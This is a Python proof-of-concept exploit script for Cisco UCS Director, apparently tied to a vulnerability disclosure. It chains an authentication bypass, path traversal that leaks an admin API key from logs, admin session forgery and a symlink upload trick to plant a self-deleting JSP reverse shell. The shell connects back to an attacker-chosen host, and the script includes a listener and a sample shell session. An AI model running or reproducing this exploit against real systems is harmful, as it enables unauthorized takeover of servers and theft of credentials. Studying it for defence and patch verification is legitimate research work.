#!/usr/bin/python """ Cisco UCS Director CopyFileRunnable run Arbitrary Symlink Remote Code Execution Vulnerability Tested on: Cisco UCS Director 6.7.3.0 VMWARE Evaluation - File: CUCSD_6_7_3_0_67414_VMWARE_SIGNED_EVAL.zip - Version: 6.7.3.0 VMWARE Evaluation (latest at the time) - MD5: 3f79463a654c91dbf4b620884e2a3b21 - Size: 4355.99 MB (4567591797 bytes) - Download: https://software.cisco.com/download/home/286320555/type/285018084/release/6 Bug 1: CVE-2020-3243 / ZDI-20-540 Bug 2: CVE-2020-3247 / ZDI-20-541 Notes: ====== This attack chain will create directories and plant files in the following directories as root without cleanup: /opt/infra/uploads/multipart/* /opt/infra/uploads/external/public/* Sorry about that, I didn't add a cleanup routine, but I did engineer the exploit to work multiple times. Example: ======== Exploitation will take a second or two for this one: saturn:~ mr_me$ ./poc.py (+) usage: ./poc.py (+) eg: ./poc.py 192.168.100.144 192.168.100.59 (+) eg: ./poc.py 192.168.100.144 192.168.100.59:1337 saturn:~ mr_me$ ./poc.py 192.168.100.144 192.168.100.59 (+) using default connectback port 4444 (+) created the exports directory! (+) found an admins rest api key: 0A7DB7EC61204627BB833CE07AEA0F4C (+) you are now admin with: JSESSIONID=ECAEF2D2CF7C4915E8FFA7FEB33995DB4D34445FDE1E24D2C58240FF66393631 (+) created the /opt/infra/uploads/multipart/a2htampra2Mub3Zh/khmjjkkc.ova file (+) created objsession for the untar: OBJSESS1571747699398:189 (+) wrote target symlink! (+) leaking symlink location, give me a few seconds... (+) leaked symlink path: /opt/infra/uploads/external/public/1571747700876/ (+) triggered symlink write! (+) bypassed the ../ and .jsp checks! (+) starting handler on port 4444 (+) connection from 192.168.100.144 (+) pop thy shell! id uid=503(tomcatu) gid=503(tomcatg) groups=503(tomcatg) context=system_u:system_r:initrc_t:s0 uname -a Linux localhost 2.6.32-754.6.3.el6.x86_64 #1 SMP Tue Oct 9 17:27:49 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux pwd /opt/infra/web_cloudmgr/apache-tomcat/bin """ import re import sys import ssl import json import random import string import socket import tarfile import requests import telnetlib from urllib import quote from base64 import b64encode from threading import Thread from cStringIO import StringIO from contextlib import closing from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def _get_jsp(ls, lp): jsp = """<%@page import="java.lang.*"%> <%@page import="java.util.*"%> <%@page import="java.io.*"%> <%@page import="java.net.*"%> <% // delete itself File f = new File(application.getRealPath("/" + this.getClass().getSimpleName().replaceFirst("_","."))); f.delete(); class StreamConnector extends Thread { InputStream sv; OutputStream tp; StreamConnector( InputStream sv, OutputStream tp ) { this.sv = sv; this.tp = tp; } public void run() { BufferedReader za = null; BufferedWriter hjr = null; try { za = new BufferedReader( new InputStreamReader( this.sv ) ); hjr = new BufferedWriter( new OutputStreamWriter( this.tp ) ); char buffer[] = new char[8192]; int length; while( ( length = za.read( buffer, 0, buffer.length ) ) > 0 ) { hjr.write( buffer, 0, length ); hjr.flush(); } } catch( Exception e ){} try { if( za != null ) za.close(); if( hjr != null ) hjr.close(); } catch( Exception e ){} } } try { String ShellPath = new String("/bin/bash"); Socket socket = new Socket("__IP__", __PORT__); Process process = Runtime.getRuntime().exec( ShellPath ); ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start(); ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start(); } catch( Exception e ) {} %>""" return jsp.replace("__IP__", ls).replace("__PORT__", str(lp)) def handler(lp): """This is the client handler, to catch the connectback.""" print "(+) starting handler on port %d" % lp t = telnetlib.Telnet() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("0.0.0.0", lp)) s.listen(1) conn, addr = s.accept() print "(+) connection from %s" % addr[0] t.sock = conn print "(+) pop thy shell!" t.interact() def exec_code(t, lp, s): handlerthr = Thread(target=handler, args=(lp,)) handlerthr.start() requests.get("https://%s/app/%s" % (t, s), verify=False) def random_string(string_length = 8): letters = string.ascii_lowercase return ''.join(random.choice(letters) for i in range(string_length)) def we_can_create_dir(t, path): """We use this primitive to create the exports directory required for the directory traversal. Inside of RestAPI$MyCallable call method, we are hitting this line with `myfile` controlled: /* 950 */ myfile.getParentFile().mkdirs(); I mentioned this is common and in this case, leads the path to full blown exploitation here: https://twitter.com/steventseeley/status/1173998009241276416""" """A URI starting with /cloupia/ instead of /api/ (ab)uses dispatcher.forward in the com.cloupia.client.web.auth.urlfilter.RESTUrlRewriteFilter class and I teach this access bypass technique in the `Full Stack Web Attack` class.""" uri = "https://%s/cloupia/api/rest" % t p = { "opName" : "userAPI:userAPIUnifiedImport", "opData" : "{}", } """An empty key slips past isEnableRestKeyAccessCheckForUser method in the com.cloupia.client.web.RestAPI class.""" h = { "X-Cloupia-Request-Key" : "" } dir_path = "../../../..%ssi" % path f = {'hax': (dir_path, "whateva", 'text/x-spam')} r = requests.post(uri, files=f, params=p, headers=h, verify=False) try: j = r.json() except: return False if r.status_code == 200 and str(j['serviceError']).startswith("REMOTE_SERVICE_EXCEPTION: Cannot execute operation"): return True return False def leak_api_key(t): """This method leaks the logfile.txt file via the userAPIDownloadFile API. Sometimes the logfile.txt can be huge so we chunk download over a raw socket the response looking for our key, when it's found we can bail.""" opData = { "param0" : "../../../../../../../../opt/infra/idaccessmgr/logfile.txt" # we should have API keys in here! } p = '?opName=%s&opData=%s' % (quote("userAPI:userAPIDownloadFile"), quote(str(opData))) req = "GET /cloupia/api/rest%s HTTP/1.1\r\nHost: %s\r\nX-Cloupia-Request-Key:\x20\r\n\r\n" % (p, t) s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((t, 443)) s = ssl.wrap_socket(s) s.send(req) i = 0 while True: i += 1 buf = s.recv(1024) if not buf: break # search for an API key in the logs! matches = re.findall("{.*}", buf) if len(matches) > 0: for match in matches: try: j = json.loads(match) if j["loginName"] == "admin": if "restKey" in j: if j["restKey"] != None: return str(j["restKey"]) except ValueError: pass """If we haven't found the key after 1369088 bytes of downloaded logfile.txt, we have probably have failed! But it's very unlikley we will ever land here.""" if i == 1337: break s.close() return False def generate_admin_session(t, api_key): """We can fully bypass authentication by generating a session with the leaked rest key.""" uri = "https://%s/cloupia/api-v2/user" % t h = { "X-Cloupia-Request-Key" : api_key } r = requests.get(uri, headers=h, verify=False) if r.status_code == 200 and api_key in r.text: if "set-cookie" in r.headers: match = re.search("JSESSIONID=(.{64});", r.headers['set-cookie']) if match: return match.group(1) return False def leak_module_id(t, h, c, context, path, description): """We leak the primary key from the database for the script modules so we know which script module to target.""" uri = "https://%s/app/ui/ClientServlet" % t op_data = { "param0" : "ScriptModule.reports.tabular.cloupia.feature.config.module", "param1" : context } d = { "formatType" : "json", "apiName" : "ExecuteGenericOp", "serviceName" : "InfraMgr", "opName" : "getTabularReport", "opData" : json.dumps(op_data) } r = requests.post(uri, data=d, headers=h, cookies=c, verify=False) try: j = r.json() for script in j['serviceResult']['rows']: if script["cells"][1]["value"] == path: if path != "": if script["cells"][2]["value"] == description: return int(script["cells"][0]["value"]) else: return int(script["cells"][0]["value"]) except ValueError: return False return False def get_session_obj(uri, context, h, c): """Typically REST interfaces are stateless but this app tries to manage state over REST via an OBJSESS. A OBJSESS typically looks like this: OBJSESS1571742648969:146.""" op_data = { "param0" : context, "param1" : "UserTemplatesFeature.applianceStorage.uploadFile" } d = { "formatType" : "json", "apiName" : "ExecuteGenericOp", "serviceName" : "InfraMgr", "opName" : "getInitialFormData", "opData" : json.dumps(op_data) } r = requests.post(uri, data=d, headers=h, cookies=c, verify=False) try: j = r.json() for field in j['serviceResult']['data']: if field['fieldId'] == '_cloupia.wizard.session.id': return str(field['value']) except ValueError: return False return False def do_form_submit(uri, args, form_id, context, h, c): """This is the method to do a `doFormSubmit` request. We use it to trigger the actual bug in this report and leak the temporary location of the symlink.""" op_data = { "param0" : "admin", "param1": context, "param2" : form_id, "param3" : args } d = { "formatType" : "json", "apiName" : "ExecuteGenericOp", "serviceName" : "InfraMgr", "opName" : "doFormSubmit", "opData" : json.dumps(op_data) } r = requests.post(uri, data=d, headers=h, cookies=c, verify=False) try: j = r.json() if j['serviceError'] == None: if j['serviceResult']['status'] == 2: match = re.search("Folder (.*) does", j['serviceResult']['statusMessage']) if match: return str(match.group(1)) return True except ValueError: return False return False def _build_tar_symlink(target): """This is the code that will build our symlink and get us a shell. Due to this amazing primitive, we can bypass the checks in the FileUploadServlet.""" f = StringIO() t = tarfile.TarInfo() t.name = 'si' t.mode |= 0120000 << 16L # symlink file type t.type = tarfile.SYMTYPE t.linkname = target with closing(tarfile.open(fileobj=f, mode="w")) as tar: tar.addfile(t, target) return f.getvalue() def we_can_create_a_tar(t, h, c, ls, lp, ovaname, jspname): """This method will upload us a .ova file containing a malicious symlink.""" uri = "https://%s/app/ui/LargeFileUploadServlet" % t content = _build_tar_symlink("/opt/infra/web_cloudmgr/apache-tomcat/webapps/app/%s" % jspname) f = {'file': ('blob', content, 'application/octet-stream')} d = { "resumableChunkNumber" : 1, "resumableChunkSize" : 104857600, # default value "resumableTotalSize" : len(content), "resumableFilename" : ovaname, # our backdoor } r = requests.post(uri, files=f, headers=h, cookies=c, data=d, verify=False) if r.status_code == 200: return True return False def we_can_upload_jsp(t, h, c, ls, lp, leakedpath): """Normally we can't do anything with this servlet, but since we can craft symlinks into the upload directory on the server, we don't even need traversals or a jsp extension!""" uri = "https://%s/app/ui/FileUploadServlet" % t f = {'file': ('blob', _get_jsp(ls, lp), 'application/octet-stream')} p = { "filePath": "%ssi" % leakedpath[19:] } r = requests.post(uri, files=f, headers=h, cookies=c, params=p, verify=False) try: j = r.json() if j['serviceResponse'] == 'true': if j['serviceError'] == None: if j['serviceName'] == "File Upload": if j['opName'] == "fileUpload": return True except ValueError: return False return False def get_field(fid, value): return { "fieldId" : fid, "value" : value } def main(): if len(sys.argv) != 3: print "(+) usage: %s " % sys.argv[0] print "(+) eg: %s 192.168.100.144 192.168.100.59" % sys.argv[0] print "(+) eg: %s 192.168.100.144 192.168.100.59:1337" % sys.argv[0] sys.exit(1) t = sys.argv[1] cb = sys.argv[2] if not ":" in cb: print "(+) using default connectback port 4444" ls = cb lp = 4444 else: if not cb.split(":")[1].isdigit(): print "(-) %s is not a port number!" % cb.split(":")[1] sys.exit(-1) ls = cb.split(":")[0] lp = int(cb.split(":")[1]) h = { "Origin" : "https://%s" % t, "X-Requested-With" : "XMLHttpRequest", } context = { "ids": None, "targetCuicId" : None, "uiMenuTag" : 25, "cloudName" : None, "filterId" : None, "id" : None, "type" : 10 } ovaname = "%s.ova" % random_string() jspname = "%s.jsp" % random_string() uri = "https://%s/app/ui/ClientServlet" % t if we_can_create_dir(t, "/opt/infra/web_cloudmgr/apache-tomcat/webapps/app/cloudmgr/exports/"): print "(+) created the exports directory!" api_key = leak_api_key(t) if api_key: print "(+) found an admins rest api key: %s" % api_key session = generate_admin_session(t, api_key) if session: print "(+) you are now admin with: JSESSIONID=%s" % session c = { "JSESSIONID" : session } if we_can_create_a_tar(t, h, c, ls, lp, ovaname, jspname): print "(+) created the /opt/infra/uploads/multipart/%s/%s file" % (b64encode(ovaname), ovaname) obj_session = get_session_obj(uri, context, h, c) if obj_session: print "(+) created objsession for the untar: %s" % obj_session form_id = "UserTemplatesFeature.applianceStorage.uploadFile" name = random_string() description = random_string() args = [ get_field("_cloupia.wizard.page.number", 0), get_field("_cloupia.wizard.session.id", obj_session), get_field("ID_FILE_UPLOAD_ENTRY.folderType", 1), get_field("ID_FILE_UPLOAD_ENTRY.fileName", name), get_field("ID_FILE_UPLOAD_ENTRY.actualFileName", ovaname), get_field("ID_FILE_UPLOAD_ENTRY.fileDescription", description), ] if do_form_submit(uri, args, form_id, context, h, c): print "(+) wrote target symlink!" print "(+) leaking symlink location, give me a few seconds..." while 1: resp = do_form_submit(uri, args, form_id, context, h, c) if type(resp) == str: if resp.startswith("/opt/infra/uploads/external/public/"): break print "(+) leaked symlink path: %s" % resp if we_can_upload_jsp(t, h, c, ls, lp, resp): print "(+) triggered symlink write!" print "(+) bypassed the ../ and .jsp checks!" exec_code(t, lp, jspname) if __name__ == "__main__": main()